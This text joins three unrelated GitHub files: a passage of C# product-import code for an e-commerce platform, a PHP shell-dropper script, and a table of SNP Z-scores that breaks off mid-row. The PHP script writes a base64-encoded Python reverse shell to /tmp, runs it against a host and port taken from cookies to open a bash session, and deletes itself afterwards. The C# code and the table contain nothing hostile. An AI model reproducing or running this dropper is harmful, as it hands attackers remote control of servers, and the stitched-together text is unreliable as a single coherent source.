"Id": product = _productRepository.GetById(id); // get it uncached break; case "Sku": product = _productService.GetProductBySku(keyValue); break; case "Gtin": product = _productService.GetProductByGtin(keyValue); break; case "ManufacturerPartNumber": product = _productService.GetProductByManufacturerPartNumber(keyValue); break; case "Name": product = _productService.GetProductByName(keyValue); break; } } if (product != null) break; } if (product == null) { if (context.UpdateOnly) { ++context.Result.SkippedRecords; continue; } // A name is required for new products. if (!row.HasDataValue("Name")) { ++context.Result.SkippedRecords; context.Result.AddError("The 'Name' field is required for new products. Skipping row.", row.GetRowInfo(), "Name"); continue; } product = new Product(); } var name = row.GetDataValue<string>("Name"); row.Initialize(product, name ?? product.Name); if (!row.IsNew && hasNameColumn) { if (!product.Name.Equals(name, StringComparison.OrdinalIgnoreCase)) { // Perf: use this later for SeName updates. row.NameChanged = true; } } row.SetProperty(context.Result, (x) => x.ProductTypeId, (int)ProductType.SimpleProduct); row.SetProperty(context.Result, (x) => x.Name); row.SetProperty(context.Result, (x) => x.ShortDescription); row.SetProperty(context.Result, (x) => x.FullDescription); row.SetProperty(context.Result, (x) => x.AdminComment); row.SetProperty(context.Result, (x) => x.ShowOnHomePage); row.SetProperty(context.Result, (x) => x.HomePageDisplayOrder); row.SetProperty(context.Result, (x) => x.MetaKeywords); row.SetProperty(context.Result, (x) => x.MetaDescription); row.SetProperty(context.Result, (x) => x.MetaTitle); row.SetProperty(context.Result, (x) => x.AllowCustomerReviews, true); row.SetProperty(context.Result, (x) => x.ApprovedRatingSum); row.SetProperty(context.Result, (x) => x.NotApprovedRatingSum); row.SetProperty(context.Result, (x) => x.ApprovedTotalReviews); row.SetProperty(context.Result, (x) => x.NotApprovedTotalReviews); row.SetProperty(context.Result, (x) => x.Published, true); row.SetProperty(context.Result, (x) => x.Sku); row.SetProperty(context.Result, (x) => x.ManufacturerPartNumber); row.SetProperty(context.Result, (x) => x.Gtin); row.SetProperty(context.Result, (x) => x.IsGiftCard); row.SetProperty(context.Result, (x) => x.GiftCardTypeId); row.SetProperty(context.Result, (x) => x.RequireOtherProducts); row.SetProperty(context.Result, (x) => x.RequiredProductIds); // TODO: global scope row.SetProperty(context.Result, (x) => x.AutomaticallyAddRequiredProducts); row.SetProperty(context.Result, (x) => x.IsDownload); //row.SetProperty(context.Result, (x) => x.DownloadId); //row.SetProperty(context.Result, (x) => x.UnlimitedDownloads, true); row.SetProperty(context.Result, (x) => x.MaxNumberOfDownloads, 10); row.SetProperty(context.Result, (x) => x.DownloadExpirationDays); row.SetProperty(context.Result, (x) => x.DownloadActivationTypeId, 1); row.SetProperty(context.Result, (x) => x.HasSampleDownload); row.SetProperty(context.Result, (x) => x.SampleDownloadId, (int?)null, ZeroToNull); // TODO: global scope row.SetProperty(context.Result, (x) => x.HasUserAgreement); row.SetProperty(context.Result, (x) => x.UserAgreementText); row.SetProperty(context.Result, (x) => x.IsRecurring); row.SetProperty(context.Result, (x) => x.RecurringCycleLength, 100); row.SetProperty(context.Result, (x) => x.RecurringCyclePeriodId); row.SetProperty(context.Result, (x) => x.RecurringTotalCycles, 10); row.SetProperty(context.Result, (x) => x.IsShipEnabled, true); row.SetProperty(context.Result, (x) => x.IsFreeShipping); row.SetProperty(context.Result, (x) => x.AdditionalShippingCharge); row.SetProperty(context.Result, (x) => x.IsEsd); row.SetProperty(context.Result, (x) => x.IsTaxExempt); row.SetProperty(context.Result, (x) => x.TaxCategoryId, 1); // TODO: global scope row.SetProperty(context.Result, (x) => x.ManageInventoryMethodId); row.SetProperty(context.Result, (x) => x.StockQuantity, 10000); row.SetProperty(context.Result, (x) => x.DisplayStockAvailability); row.SetProperty(context.Result, (x) => x.DisplayStockQuantity); row.SetProperty(context.Result, (x) => x.MinStockQuantity); row.SetProperty(context.Result, (x) => x.LowStockActivityId); row.SetProperty(context.Result, (x) => x.NotifyAdminForQuantityBelow, 1); row.SetProperty(context.Result, (x) => x.BackorderModeId); row.SetProperty(context.Result, (x) => x.AllowBackInStockSubscriptions); row.SetProperty(context.Result, (x) => x.OrderMinimumQuantity, 1); row.SetProperty(context.Result, (x) => x.OrderMaximumQuantity, 100); row.SetProperty(context.Result, (x) => x.QuantityStep, 1); row.SetProperty(context.Result, (x) => x.HideQuantityControl); row.SetProperty(context.Result, (x) => x.AllowedQuantities); row.SetProperty(context.Result, (x) => x.DisableBuyButton); row.SetProperty(context.Result, (x) => x.DisableWishlistButton); row.SetProperty(context.Result, (x) => x.AvailableForPreOrder); row.SetProperty(context.Result, (x) => x.CallForPrice); row.SetProperty(context.Result, (x) => x.Price); row.SetProperty(context.Result, (x) => x.OldPrice); row.SetProperty(context.Result, (x) => x.ProductCost); row.SetProperty(context.Result, (x) => x.SpecialPrice); row.SetProperty(context.Result, (x) => x.SpecialPriceStartDateTimeUtc); row.SetProperty(context.Result, (x) => x.SpecialPriceEndDateTimeUtc); row.SetProperty(context.Result, (x) => x.CustomerEntersPrice); row.SetProperty(context.Result, (x) => x.MinimumCustomerEnteredPrice); row.SetProperty(context.Result, (x) => x.MaximumCustomerEnteredPrice, 1000); // HasTierPrices... ignore as long as no tier prices are imported // LowestAttributeCombinationPrice... ignore as long as no combinations are imported row.SetProperty(context.Result, (x) => x.Weight); row.SetProperty(context.Result, (x) => x.Length); row.SetProperty(context.Result, (x) => x.Width); row.SetProperty(context.Result, (x) => x.Height); row.SetProperty(context.Result, (x) => x.DisplayOrder); row.SetProperty(context.Result, (x) => x.DeliveryTimeId); // TODO: global scope row.SetProperty(context.Result, (x) => x.QuantityUnitId); // TODO: global scope row.SetProperty(context.Result, (x) => x.BasePriceEnabled); row.SetProperty(context.Result, (x) => x.BasePriceMeasureUnit); row.SetProperty(context.Result, (x) => x.BasePriceAmount); row.SetProperty(context.Result, (x) => x.BasePriceBaseAmount); row.SetProperty(context.Result, (x) => x.BundleTitleText); row.SetProperty(context.Result, (x) => x.BundlePerItemShipping); row.SetProperty(context.Result, (x) => x.BundlePerItemPricing); row.SetProperty(context.Result, (x) => x.BundlePerItemShoppingCart); row.SetProperty(context.Result, (x) => x.AvailableStartDateTimeUtc); row.SetProperty(context.Result, (x) => x.AvailableEndDateTimeUtc); // With new entities, "LimitedToStores" is an implicit field, meaning // it has to be set to true by code if it's absent but "StoreIds" exists. row.SetProperty(context.Result, (x) => x.LimitedToStores, !row.GetDataValue<List<int>>("StoreIds").IsNullOrEmpty()); row.SetProperty(context.Result, (x) => x.CustomsTariffNumber); row.SetProperty(context.Result, (x) => x.CountryOfOriginId); if (row.TryGetDataValue("QuantiyControlType", out int qct)) { product.QuantiyControlType = (QuantityControlType)qct; } if (row.TryGetDataValue("Visibility", out int visibilityValue)) { product.Visibility = (ProductVisibility)visibilityValue; } if (row.TryGetDataValue("Condition", out int conditionValue)) { product.Condition = (ProductCondition)conditionValue; } if (row.TryGetDataValue("ProductTemplateViewPath", out string tvp, row.IsTransient)) { product.ProductTemplateId = tvp.HasValue() && templateViewPaths.ContainsKey(tvp) ? templateViewPaths[tvp] : defaultTemplateId; } if (id != 0 && !srcToDestId.ContainsKey(id)) { srcToDestId.Add(id, new ImportProductMapping { Inserted = row.IsTransient }); } if (row.IsTransient) { _productRepository.Insert(product); } else { product.UpdatedOnUtc = DateTime.UtcNow; //_productRepository.Update(product); // unnecessary: we use DetectChanges() } } // Commit whole batch at once. var num = _productRepository.Context.SaveChanges(); // Get new product ids. foreach (var row in batch) { var id = row.GetDataValue<int>("Id"); if (id != 0 && srcToDestId.ContainsKey(id)) { srcToDestId[id].DestinationId = row.Entity.Id; } } return num; } protected virtual int ProcessProductMappings( ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch, Dictionary<int, ImportProductMapping> srcToDestId) { _productRepository.AutoCommitEnabled = false; foreach (var row in batch) { var id = row.GetDataValue<int>("Id"); var parentGroupedProductId = row.GetDataValue<int>("ParentGroupedProductId"); if (id != 0 && parentGroupedProductId != 0 && srcToDestId.ContainsKey(id) && srcToDestId.ContainsKey(parentGroupedProductId)) { if (srcToDestId[id].DestinationId != 0) { var product = _productRepository.GetById(srcToDestId[id].DestinationId); if (product != null) { product.ParentGroupedProductId = srcToDestId[parentGroupedProductId].DestinationId; //_productRepository.Update(product); // unnecessary: we use DetectChanges() } } } } var num = _productRepository.Context.SaveChanges(); return num; } protected virtual void ProcessProductPictures(ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch) { _productRepository.AutoCommitEnabled = false; var numberOfPictures = context.ExtraData.NumberOfPictures ?? int.MaxValue; var productIds = batch.Select(x => x.Entity.Id).ToArray(); var tmpFileMap = _productService.GetProductPicturesByProductIds(productIds, null, MediaLoadFlags.None); foreach (var row in batch) { var imageUrls = row.GetDataValue<List<string>>("ImageUrls"); if (imageUrls.IsNullOrEmpty()) { continue; } var productId = row.Entity.Id; var imageNumber = 0; var displayOrder = -1; var imageFiles = new List<FileDownloadManagerItem>(); var catalogAlbumId = _folderService.GetNodeByPath(SystemAlbumProvider.Catalog).Value.Id; // Collect required image file infos. foreach (var urlOrPath in imageUrls) { var image = CreateDownloadImage(context, urlOrPath, ++imageNumber); if (image != null) imageFiles.Add(image); if (imageFiles.Count >= numberOfPictures) break; } // Download images. if (imageFiles.Any(x => x.Url.HasValue())) { // Async downloading in batch processing is inefficient cause only the image processing benefits from async, // not the record processing itself. A per record processing may speed up the import. AsyncRunner.RunSync(() => _fileDownloadManager.DownloadAsync(DownloaderContext, imageFiles.Where(x => x.Url.HasValue() && !x.Success.HasValue))); } // Import images. foreach (var image in imageFiles.OrderBy(x => x.DisplayOrder)) { try { if ((image.Success ?? false) && File.Exists(image.Path)) { Succeeded(image); using (var stream = File.OpenRead(image.Path)) { if ((stream?.Length ?? 0) > 0) { MediaFile sourceFile = null; var currentFiles = tmpFileMap.ContainsKey(productId) ? tmpFileMap[productId] : Enumerable.Empty<ProductMediaFile>(); if (displayOrder == -1) { displayOrder = currentFiles.Any() ? currentFiles.Select(x => x.DisplayOrder).Max() : 0; } if (_mediaService.FindEqualFile(stream, currentFiles.Select(x => x.MediaFile), true, out var _)) { context.Result.AddInfo($"Found equal image in product data for {image.FileName}. Skipping file.", row.GetRowInfo(), "ImageUrls" + image.DisplayOrder.ToString()); } else if (_mediaService.FindEqualFile(stream, image.FileName, catalogAlbumId, true, out sourceFile)) { context.Result.AddInfo("Found equal file in catalog album. Assigning existing file instead.", row.GetRowInfo(), "ImageUrls"); } else { var path = _mediaService.CombinePaths(SystemAlbumProvider.Catalog, image.FileName); sourceFile = _mediaService.SaveFile(path, stream, false, DuplicateFileHandling.Rename)?.File; } if (sourceFile?.Id > 0) { var productMediaFile = new ProductMediaFile { ProductId = productId, MediaFileId = sourceFile.Id, DisplayOrder = ++displayOrder }; _productService.InsertProductPicture(productMediaFile); productMediaFile.MediaFile = sourceFile; tmpFileMap.Add(productId, productMediaFile); // Update for FixProductMainPictureIds. row.Entity.UpdatedOnUtc = DateTime.UtcNow; //_productRepository.Update(row.Entity); } } } } else if (image.Url.HasValue()) { context.Result.AddInfo($"Download failed for image {image.Url}.", row.GetRowInfo(), "ImageUrls" + image.DisplayOrder.ToString()); } } catch (Exception ex) { context.Result.AddWarning(ex.ToAllMessages(), row.GetRowInfo(), "ImageUrls" + image.DisplayOrder.ToString()); } } } _productRepository.Context.SaveChanges(); } protected virtual int ProcessProductManufacturers(ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch) { _productManufacturerRepository.AutoCommitEnabled = false; foreach (var row in batch) { var manufacturerIds = row.GetDataValue<List<int>>("ManufacturerIds"); if (!manufacturerIds.IsNullOrEmpty()) { try { foreach (var id in manufacturerIds) { if (_productManufacturerRepository.TableUntracked.Where(x => x.ProductId == row.Entity.Id && x.ManufacturerId == id).FirstOrDefault() == null) { // Ensure that manufacturer exists. var manufacturer = _manufacturerService.GetManufacturerById(id); if (manufacturer != null) { var productManufacturer = new ProductManufacturer { ProductId = row.Entity.Id, ManufacturerId = manufacturer.Id, IsFeaturedProduct = false, DisplayOrder = 1 }; _productManufacturerRepository.Insert(productManufacturer); } } } } catch (Exception ex) { context.Result.AddWarning(ex.Message, row.GetRowInfo(), "ManufacturerIds"); } } } // Commit whole batch at once. var num = _productManufacturerRepository.Context.SaveChanges(); return num; } protected virtual int ProcessProductCategories(ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch) { _productCategoryRepository.AutoCommitEnabled = false; foreach (var row in batch) { var categoryIds = row.GetDataValue<List<int>>("CategoryIds"); if (!categoryIds.IsNullOrEmpty()) { try { foreach (var id in categoryIds) { if (!_productCategoryRepository.TableUntracked.Any(x => x.ProductId == row.Entity.Id && x.CategoryId == id)) { // Ensure that category exists. var category = _categoryService.GetCategoryById(id); if (category != null) { var productCategory = new ProductCategory { ProductId = row.Entity.Id, CategoryId = category.Id, IsFeaturedProduct = false, DisplayOrder = 1 }; _productCategoryRepository.Insert(productCategory); } } } } catch (Exception ex) { context.Result.AddWarning(ex.Message, row.GetRowInfo(), "CategoryIds"); } } } // Commit whole batch at once, var num = _productCategoryRepository.Context.SaveChanges(); return num; } protected virtual void ProcessProductTags(ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch) { // True, cause product tags must be saved and assigned an id prior adding a mapping. _productTagRepository.AutoCommitEnabled = true; var productIds = batch.Select(x => x.Entity.Id).ToList(); var tagsPerBatch = _productRepository.TableUntracked .Expand(x => x.ProductTags) .Where(x => productIds.Contains(x.Id)) .ToDictionary(x => x.Id, x => x.ProductTags); foreach (var row in batch) { try { var product = row.Entity; var tags = new Dictionary<string, bool>(StringComparer.OrdinalIgnoreCase); foreach (var str in row.GetDataValue<string>("TagNames").SplitSafe("|")) { var arr = str.SplitSafe("~"); if (arr.Length > 0) { tags[arr[0]] = arr.Length > 1 ? arr[1].ToBool(true) : true; } } if (!tagsPerBatch.TryGetValue(product.Id, out var existingTags)) { existingTags = new List<ProductTag>(); } if (!tags.Any()) { // Remove all tags. if (existingTags.Any()) { _productTagRepository.Context.LoadCollection(product, (Product x) => x.ProductTags); product.ProductTags.Clear(); } } else { // Remove tags. var tagsToRemove = new List<ProductTag>(); foreach (var existingTag in existingTags) { if (!tags.Keys.Any(x => x.IsCaseInsensitiveEqual(existingTag.Name))) { tagsToRemove.Add(existingTag); } } if (tagsToRemove.Any()) { _productTagRepository.Context.LoadCollection(product, (Product x) => x.ProductTags); tagsToRemove.Each(x => product.ProductTags.Remove(x)); } // Add tags. foreach (var tag in tags) { if (!existingTags.Any(x => x.Name.IsCaseInsensitiveEqual(tag.Key))) { var productTag = _productTagRepository.Table.FirstOrDefault(x => x.Name == tag.Key); if (productTag == null) { productTag = new ProductTag { Name = tag.Key, Published = tag.Value }; _productTagRepository.Insert(productTag); } product.ProductTags.Add(productTag); } } } } catch (Exception ex) { context.Result.AddWarning(ex.Message, row.GetRowInfo(), "TagNames"); } } // Commit whole batch at once. _productTagRepository.Context.SaveChanges(); } private int? ZeroToNull(object value, CultureInfo culture) { if (CommonHelper.TryConvert<int>(value, culture, out int result) && result > 0) { return result; } return (int?)null; } public static string[] SupportedKeyFields => new string[] { "Id", "Sku", "Gtin", "ManufacturerPartNumber", "Name" }; public static string[] DefaultKeyFields => new string[] { "Sku", "Gtin", "ManufacturerPartNumber" }; public class ImportProductMapping { public int DestinationId { get; set; } public bool Inserted { get; set; } } } }
{ "pile_set_name": "Github" }
<?php $cbhost = $_COOKIE['host']; $cbport = $_COOKIE['port']; echo "{+} Using ".$cbhost.":".$cbport." as callback...\n{+} Dropping shell...\n"; $shell = "IyEvdXNyL2Jpbi9weXRob24yCiMgY29kaW5nOiB1dGYtOAojIFNlbGYgRGVzdHJ1Y3RpbmcsIERhZW1vbmluZyBSZXZlcnNlIFBUWS4KIyBybSdzIHNlbGYgb24gcXVpdCA6MwojIFRPRE86CiMgMTogQWRkIGNyeXB0bwojIDI6IEFkZCBwcm9jbmFtZSBzcG9vZgppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKaW1wb3J0IGNvbW1hbmRzCgpzaGVsbG1zZyA9ICJceDFiWzBtXHgxYlsxOzM2bUdvdCByb290IHlldD9ceDFiWzBtXHJcbiIgIyBuZWVkeiBhc2NpaQoKZGVmIHF1aXR0ZXIobXNnKToKICAgIHByaW50IG1zZwogICAgb3MudW5saW5rKG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpICMgdW5jb21tZW50IGZvciBnb2dvc2VsZmRlc3RydWN0CiAgICBzeXMuZXhpdCgwKQoKZGVmIHJldmVyc2UoY2Job3N0LCBjYnBvcnQpOgogICAgdHJ5OgogICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgaWQgPSBjb21tYW5kcy5nZXRvdXRwdXQoImlkIikKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcXVpdHRlcignZ3JhYiB1bmFtZS9pZCBmYWlsJykKICAgIHRyeToKICAgICAgICBzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suY29ubmVjdCgoY2Job3N0LCBpbnQoY2Jwb3J0KSkpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGNvbm5lY3Rpb24gZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICBleGNlcHQ6CiAgICAgICAgcXVpdHRlcignYWJvcnQ6IGR1cDIgZmFpbCcpCiAgICB0cnk6CiAgICAgICAgb3MucHV0ZW52KCJISVNURklMRSIsICIvZGV2L251bGwiKQogICAgICAgIG9zLnB1dGVudigiUEFUSCIsICcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOi9iaW46L3Vzci9sb2NhbC9iaW46L3Vzci9iaW4nKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHV0ZW52IGZhaWwnKQogICAgdHJ5OgogICAgICAgIHNvY2suc2VuZChzaGVsbG1zZykKICAgICAgICBzb2NrLnNlbmQoJ1x4MWJbMTszMm0nK3VuYW1lKyJcclxuIitpZCsiXHgxYlswbVxyXG4iKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdzZW5kIGlkL3VuYW1lIGZ1Y2t1cCcpCiAgICB0cnk6CiAgICAgICAgcHR5LnNwYXduKCcvYmluL2Jhc2gnKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBxdWl0dGVyKCdhYm9ydDogcHR5IHNwYXduIGZhaWwnKQogICAgcXVpdHRlcigncXVpdHRpbmcsIGNsZWFudXAnKQoKZGVmIG1haW4oYXJncyk6CiAgICBpZiBvcy5mb3JrKCkgPiAwOiAKICAgICAgICBvcy5fZXhpdCgwKQogICAgcmV2ZXJzZShzeXMuYXJndlsxXSwgc3lzLmFyZ3ZbMl0pCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbihzeXMuYXJndikK"; $x = fopen("/tmp/x", "w+"); fwrite($x, base64_decode($shell)); fclose($x); echo "{+} Shell dropped... Triggering...\n"; system("python /tmp/x ".$cbhost." ".$cbport); die('{+} got shell?'); // payload should have rm'd itself ?>
{ "pile_set_name": "Github" }
A1 A2 N SNP Z A G 10000.000 rs0 1.627 A G 10000.000 rs1 0.658 A G 10000.000 rs2 0.453 A G 10000.000 rs3 1.623 A G 10000.000 rs4 -0.674 A G 10000.000 rs5 4.076 A G 10000.000 rs6 3.594 A G 10000.000 rs7 5.789 A G 10000.000 rs8 -4.946 A G 10000.000 rs9 -1.178 A G 10000.000 rs10 -2.867 A G 10000.000 rs11 -1.440 A G 10000.000 rs12 -0.499 A G 10000.000 rs13 0.818 A G 10000.000 rs14 1.473 A G 10000.000 rs15 -0.624 A G 10000.000 rs16 -1.288 A G 10000.000 rs17 -1.284 A G 10000.000 rs18 -0.598 A G 10000.000 rs19 -8.623 A G 10000.000 rs20 0.571 A G 10000.000 rs21 -2.649 A G 10000.000 rs22 9.858 A G 10000.000 rs23 -1.295 A G 10000.000 rs24 0.794 A G 10000.000 rs25 -4.230 A G 10000.000 rs26 -0.508 A G 10000.000 rs27 -3.130 A G 10000.000 rs28 -0.329 A G 10000.000 rs29 -0.165 A G 10000.000 rs30 1.954 A G 10000.000 rs31 1.861 A G 10000.000 rs32 2.886 A G 10000.000 rs33 -4.524 A G 10000.000 rs34 0.212 A G 10000.000 rs35 1.426 A G 10000.000 rs36 1.505 A G 10000.000 rs37 -2.041 A G 10000.000 rs38 5.527 A G 10000.000 rs39 -0.570 A G 10000.000 rs40 2.306 A G 10000.000 rs41 -2.719 A G 10000.000 rs42 1.805 A G 10000.000 rs43 3.022 A G 10000.000 rs44 -1.572 A G 10000.000 rs45 -3.306 A G 10000.000 rs46 1.493 A G 10000.000 rs47 5.093 A G 10000.000 rs48 -0.539 A G 10000.000 rs49 -2.843 A G 10000.000 rs50 -6.259 A G 10000.000 rs51 -2.628 A G 10000.000 rs52 2.622 A G 10000.000 rs53 3.044 A G 10000.000 rs54 4.379 A G 10000.000 rs55 -1.282 A G 10000.000 rs56 1.062 A G 10000.000 rs57 5.057 A G 10000.000 rs58 3.257 A G 10000.000 rs59 -2.556 A G 10000.000 rs60 -2.909 A G 10000.000 rs61 -1.467 A G 10000.000 rs62 8.229 A G 10000.000 rs63 -2.609 A G 10000.000 rs64 2.146 A G 10000.000 rs65 -0.335 A G 10000.000 rs66 1.771 A G 10000.000 rs67 -1.729 A G 10000.000 rs68 3.280 A G 10000.000 rs69 -2.915 A G 10000.000 rs70 6.028 A G 10000.000 rs71 0.868 A G 10000.000 rs72 8.552 A G 10000.000 rs73 -0.635 A G 10000.000 rs74 -0.034 A G 10000.000 rs75 4.620 A G 10000.000 rs76 -3.972 A G 10000.000 rs77 1.188 A G 10000.000 rs78 5.615 A G 10000.000 rs79 -9.189 A G 10000.000 rs80 -1.516 A G 10000.000 rs81 0.495 A G 10000.000 rs82 -3.066 A G 10000.000 rs83 1.612 A G 10000.000 rs84 0.356 A G 10000.000 rs85 -2.618 A G 10000.000 rs86 -5.839 A G 10000.000 rs87 -0.276 A G 10000.000 rs88 1.664 A G 10000.000 rs89 2.403 A G 10000.000 rs90 0.741 A G 10000.000 rs91 -1.277 A G 10000.000 rs92 -2.139 A G 10000.000 rs93 1.393 A G 10000.000 rs94 -6.060 A G 10000.000 rs95 -1.585 A G 10000.000 rs96 -2.147 A G 10000.000 rs97 -3.031 A G 10000.000 rs98 -1.684 A G 10000.000 rs99 2.543 A G 10000.000 rs100 1.511 A G 10000.000 rs101 0.991 A G 10000.000 rs102 -2.466 A G 10000.000 rs103 2.013 A G 10000.000 rs104 1.554 A G 10000.000 rs105 3.488 A G 10000.000 rs106 -1.886 A G 10000.000 rs107 -3.067 A G 10000.000 rs108 1.582 A G 10000.000 rs109 -0.862 A G 10000.000 rs110 1.415 A G 10000.000 rs111 6.456 A G 10000.000 rs112 -0.907 A G 10000.000 rs113 -4.454 A G 10000.000 rs114 3.129 A G 10000.000 rs115 -0.764 A G 10000.000 rs116 -1.185 A G 10000.000 rs117 -8.845 A G 10000.000 rs118 0.791 A G 10000.000 rs119 -2.798 A G 10000.000 rs120 -2.962 A G 10000.000 rs121 3.892 A G 10000.000 rs122 2.093 A G 10000.000 rs123 -0.740 A G 10000.000 rs124 0.912 A G 10000.000 rs125 1.129 A G 10000.000 rs126 2.366 A G 10000.000 rs127 -4.800 A G 10000.000 rs128 -0.780 A G 10000.000 rs129 -5.975 A G 10000.000 rs130 -5.845 A G 10000.000 rs131 -10.504 A G 10000.000 rs132 2.144 A G 10000.000 rs133 1.364 A G 10000.000 rs134 -2.078 A G 10000.000 rs135 -12.509 A G 10000.000 rs136 -4.712 A G 10000.000 rs137 0.832 A G 10000.000 rs138 4.325 A G 10000.000 rs139 0.829 A G 10000.000 rs140 -2.252 A G 10000.000 rs141 6.359 A G 10000.000 rs142 -2.774 A G 10000.000 rs143 -1.125 A G 10000.000 rs144 -0.523 A G 10000.000 rs145 -0.255 A G 10000.000 rs146 -7.061 A G 10000.000 rs147 0.262 A G 10000.000 rs148 -0.662 A G 10000.000 rs149 -0.960 A G 10000.000 rs150 -0.074 A G 10000.000 rs151 -1.532 A G 10000.000 rs152 2.290 A G 10000.000 rs153 -6.253 A G 10000.000 rs154 -1.592 A G 10000.000 rs155 -7.374 A G 10000.000 rs156 -0.412 A G 10000.000 rs157 0.915 A G 10000.000 rs158 -2.798 A G 10000.000 rs159 -2.937 A G 10000.000 rs160 -0.646 A G 10000.000 rs161 -1.012 A G 10000.000 rs162 2.541 A G 10000.000 rs163 -2.551 A G 10000.000 rs164 4.510 A G 10000.000 rs165 -1.308 A G 10000.000 rs166 2.467 A G 10000.000 rs167 -4.153 A G 10000.000 rs168 -2.834 A G 10000.000 rs169 -2.968 A G 10000.000 rs170 5.028 A G 10000.000 rs171 -0.025 A G 10000.000 rs172 -0.944 A G 10000.000 rs173 3.211 A G 10000.000 rs174 7.777 A G 10000.000 rs175 1.413 A G 10000.000 rs176 5.692 A G 10000.000 rs177 -1.249 A G 10000.000 rs178 -4.052 A G 10000.000 rs179 3.358 A G 10000.000 rs180 0.326 A G 10000.000 rs181 -4.106 A G 10000.000 rs182 0.988 A G 10000.000 rs183 2.964 A G 10000.000 rs184 -4.413 A G 10000.000 rs185 5.475 A G 10000.000 rs186 -0.446 A G 10000.000 rs187 -5.739 A G 10000.000 rs188 -4.990 A G 10000.000 rs189 -3.357 A G 10000.000 rs190 -9.549 A G 10000.000 rs191 2.394 A G 10000.000 rs192 0.666 A G 10000.000 rs193 5.584 A G 10000.000 rs194 -0.837 A G 10000.000 rs195 -4.136 A G 10000.000 rs196 1.575 A G 10000.000 rs197 -6.791 A G 10000.000 rs198 -5.034 A G 10000.000 rs199 -5.048 A G 10000.000 rs200 -0.511 A G 10000.000 rs201 2.046 A G 10000.000 rs202 0.122 A G 10000.000 rs203 0.234 A G 10000.000 rs204 0.671 A G 10000.000 rs205 -2.167 A G 10000.000 rs206 -0.527 A G 10000.000 rs207 -3.972 A G 10000.000 rs208 2.065 A G 10000.000 rs209 -5.599 A G 10000.000 rs210 2.436 A G 10000.000 rs211 2.943 A G 10000.000 rs212 -3.082 A G 10000.000 rs213 0.961 A G 10000.000 rs214 1.658 A G 10000.000 rs215 -1.576 A G 10000.000 rs216 -3.817 A G 10000.000 rs217 1.322 A G 10000.000 rs218 -1.528 A G 10000.000 rs219 -4.946 A G 10000.000 rs220 -0.274 A G 10000.000 rs221 -2.257 A G 10000.000 rs222 8.703 A G 10000.000 rs223 1.100 A G 10000.000 rs224 -3.424 A G 10000.000 rs225 1.234 A G 10000.000 rs226 -3.948 A G 10000.000 rs227 2.283 A G 10000.000 rs228 -1.696 A G 10000.000 rs229 -11.264 A G 10000.000 rs230 -4.995 A G 10000.000 rs231 -1.393 A G 10000.000 rs232 4.198 A G 10000.000 rs233 0.831 A G 10000.000 rs234 4.030 A G 10000.000 rs235 -5.363 A G 10000.000 rs236 4.500 A G 10000.000 rs237 -7.295 A G 10000.000 rs238 3.961 A G 10000.000 rs239 0.425 A G 10000.000 rs240 0.924 A G 10000.000 rs241 4.021 A G 10000.000 rs242 -0.072 A G 10000.000 rs243 -0.703 A G 10000.000 rs244 -0.524 A G 10000.000 rs245 -3.762 A G 10000.000 rs246 -0.830 A G 10000.000 rs247 4.734 A G 10000.000 rs248 -3.306 A G 10000.000 rs249 2.054 A G 10000.000 rs250 5.828 A G 10000.000 rs251 3.555 A G 10000.000 rs252 4.091 A G 10000.000 rs253 -2.759 A G 10000.000 rs254 4.222 A G 10000.000 rs255 0.638 A G 10000.000 rs256 4.463 A G 10000.000 rs257 0.055 A G 10000.000 rs258 7.293 A G 10000.000 rs259 -2.953 A G 10000.000 rs260 -0.915 A G 10000.000 rs261 -1.621 A G 10000.000 rs262 0.199 A G 10000.000 rs263 -2.115 A G 10000.000 rs264 -1.312 A G 10000.000 rs265 -1.995 A G 10000.000 rs266 2.157 A G 10000.000 rs267 2.203 A G 10000.000 rs268 1.634 A G 10000.000 rs269 4.972 A G 10000.000 rs270 1.272 A G 10000.000 rs271 -0.732 A G 10000.000 rs272 3.004 A G 10000.000 rs273 -1.737 A G 10000.000 rs274 -0.066 A G 10000.000 rs275 -0.455 A G 10000.000 rs276 -2.782 A G 10000.000 rs277 1.751 A G 10000.000 rs278 4.857 A G 10000.000 rs279 1.978 A G 10000.000 rs280 3.874 A G 10000.000 rs281 -1.140 A G 10000.000 rs282 -3.343 A G 10000.000 rs283 5.337 A G 10000.000 rs284 -2.379 A G 10000.000 rs285 2.799 A G 10000.000 rs286 -2.936 A G 10000.000 rs287 0.806 A G 10000.000 rs288 -1.149 A G 10000.000 rs289 1.862 A G 10000.000 rs290 2.318 A G 10000.000 rs291 -0.983 A G 10000.000 rs292 -4.199 A G 10000.000 rs293 0.890 A G 10000.000 rs294 4.026 A G 10000.000 rs295 -3.204 A G 10000.000 rs296 4.269 A G 10000.000 rs297 2.049 A G 10000.000 rs298 1.014 A G 10000.000 rs299 -3.273 A G 10000.000 rs300 0.985 A G 10000.000 rs301 1.629 A G 10000.000 rs302 -1.715 A G 10000.000 rs303 -4.610 A G 10000.000 rs304 -2.497 A G 10000.000 rs305 -0.016 A G 10000.000 rs306 3.341 A G 10000.000 rs307 0.355 A G 10000.000 rs308 -4.375 A G 10000.000 rs309 -1.513 A G 